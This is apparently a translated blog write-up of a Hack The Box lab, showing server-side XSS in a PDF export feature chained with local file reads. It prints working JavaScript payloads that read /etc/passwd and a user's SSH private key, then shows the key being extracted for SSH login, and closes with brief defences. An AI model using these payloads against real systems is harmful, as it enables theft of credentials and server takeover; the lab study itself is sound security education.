XSS 從 PDF 中竊取資料

mt0u發表於2024-03-21

XSS 從 PDF 中竊取資料

將伺服器端 XSS 注入到動態生成的 PDF 中

在 hack the box 的 Book 機器(Scripting Track)上,我遇到了一個 Web 應用程式,它使用使用者控制的輸入來生成 PDF 檔案。使用者輸入輸入,下載時該輸入將呈現為 PDF 檔案。

我從閱讀許多文章中意識到與動態生成的 PDF 相關的 XSS 和 SSRF 漏洞,但直到我遇到 Book 機器才自己嘗試過。

當我每次單擊PDF連結時都看到下載功能生成PDF檔案時,我開始再次搜尋與此漏洞相關的漏洞賞金文章,以重新整理我對如何利用它😃的記憶。

我發現攻擊者可以製作在伺服器端執行的 Javascript 程式碼並檢索內部檔案內容。它基本上是一個儲存的 XSS 漏洞,可以透過將其與本地檔案包含或 SSRF 連結以洩露內部資料來升級。

🎯攻擊方式:

  • 本地檔案包含
  • 伺服器端請求偽造

我將重點介紹如何利用 XSS 漏洞並將其與 LFI 相結合,以檢索本文的內部檔案內容。對於演示部分,我將使用圖書機。

演示:

Book 機器上的 Library 應用程式有兩使用者;一個普通使用者,另一個管理員。我們在兩者上都經過了身份驗證。

在使用者中,使用者可以在圖書提交部分下的“館藏”頁面上上傳檔案。

管理員皮膚中,“收藏夾”頁面可以透過單擊 PDF 連結將據稱從使用者門戶上傳的檔案的收藏列表匯出為 PDF 格式。

在許多情況下,基於使用者輸入生成 PDF 檔案的功能可能容易受到伺服器端 XSS 的攻擊,從而導致資料從易受攻擊的應用程式中洩露。

因此,我開始編制基本的測試清單來測試應用程式。

🔎 測試檢查表:

  • 識別可注射輸入物
  • 嘗試 HTML 標記注入,看看應用程式是否解析了 HTML 程式碼。
  • 讀取內部檔案時,測試不同的檔案協議,即檔案、HTTP、HTTPS。
  • 使用 JS 注入讀取內部伺服器檔案。

📌Synack 提示

始終檢查執行 JS 程式碼的頁面上正在執行的協議型別。如果頁面在 http:// 或 https:// 協議上執行,則檔案協議(file:// 協議)不能用於讀取本地檔案。

1-識別可注射的輸入

瀏覽使用者的門戶,“書籍提交”部分似乎非常有趣。它有 2 個輸入欄位和一個上傳選項。

輸入欄位用於書名和作者姓名

2- HTML 注入

在“書名”和“作者”欄位中插入基本的 HTML 標題標籤,然後選擇要上傳的檔案。

<h1>r3dbucket</h1>

在 Burp Suite 中攔截請求,以檢查我們傳送到應用程式的請求詳細資訊。

並且,一旦我們將請求傳送到應用程式,我們就會切換到管理員皮膚並單擊 PDF 連結以生成 PDF 檔案。

PDF 匯出連結

完成後,我們開啟檔案,我們看到 HTML 標籤在後端被解析幷包含在檔案中。棒!!

3- JS注入讀取內部伺服器檔案

在以下步驟中,我們嘗試測試一個基本的 JS 有效負載,看看它是否執行。我將嘗試在檔案上寫入單詞“test”的 onerror 有效負載。

<img src="x" onerror="document.write('test')" />

在輸入欄位中注入 JS

JS 是在生成 PDF 時執行的

正如我們所看到的,JS 程式碼被執行,單詞 test 包含在檔案中。下一步是確定應用程式用於瞭解我們將如何讀取伺服器上😈的內部檔案的檔案協議。

我使用下面的內聯來獲取當前頁面的完整 URL。

<script>document.write(document.location.href)</script>

正如我們所看到的,應用程式使用 **file/// 協議。**

接下來,我們可以使用 XHR 請求檢索 host 和 passwd 檔案的內容

<script>x=new XMLHttpRequest;x.onload=function(){document.write(this.responseText)};x.open(‘GET’,’file:///etc/hosts’);x.send();</script><script>x=new XMLHttpRequest;x.onload=function(){document.write(this.responseText)};x.open(‘GET’,’file:///etc/passwd’);x.send();</script>

/etc/passwd 檔案

/etc/hosts 檔案

4-檢索SSH金鑰並訪問計算機

當我檢視 etc/passwd 檔案的內容時,我看到使用者 Reader 在伺服器上具有 bash 登入名,這意味著我們可以透過 SSH 連線到伺服器,因為埠 22 在機器上開啟並獲取互動式 SSH shell。

預設情況下,在 Linux 中,SSH 私鑰 (id_rsa) 駐留在主目錄內使用者資料夾中的隱藏目錄 .ssh 中。在我們的例子中,它將是 (home/reader/.ssh/id_rsa)

<script>x=new XMLHttpRequest;x.onload=function(){document.write(this.responseText)};x.open("GET","file:///home/reader/.ssh/id_rsa");x.send();</script>

有了這個,我嘗試使用預設路徑讀取檔案,並提取金鑰的內容。

SSH 私鑰

接下來,我需要將 pdf 轉換為文字以提取金鑰,我不能直接從 PDF 檔案複製。我在 GitHub 中使用 pdf2txt.py 指令碼來做到這一點。

該指令碼是pdfminer工具集合的一部分

GitHub 上的 pdfminer 集合

Pass the pdf file that has the SSH key to pdf2txt script and we can get the key.

python3 pdf2txt.py ssh.pdf

Reader’s SSH Key

SSH shell

5-防護

  • 在將所有使用者輸入傳送到應用程式之前,必須對其進行清理和驗證。
  • 對 XSS 和 HTML 有效負載中使用的所有字元進行編碼。
  • 在應用程式前面實現 WAF 解決方案

相關文章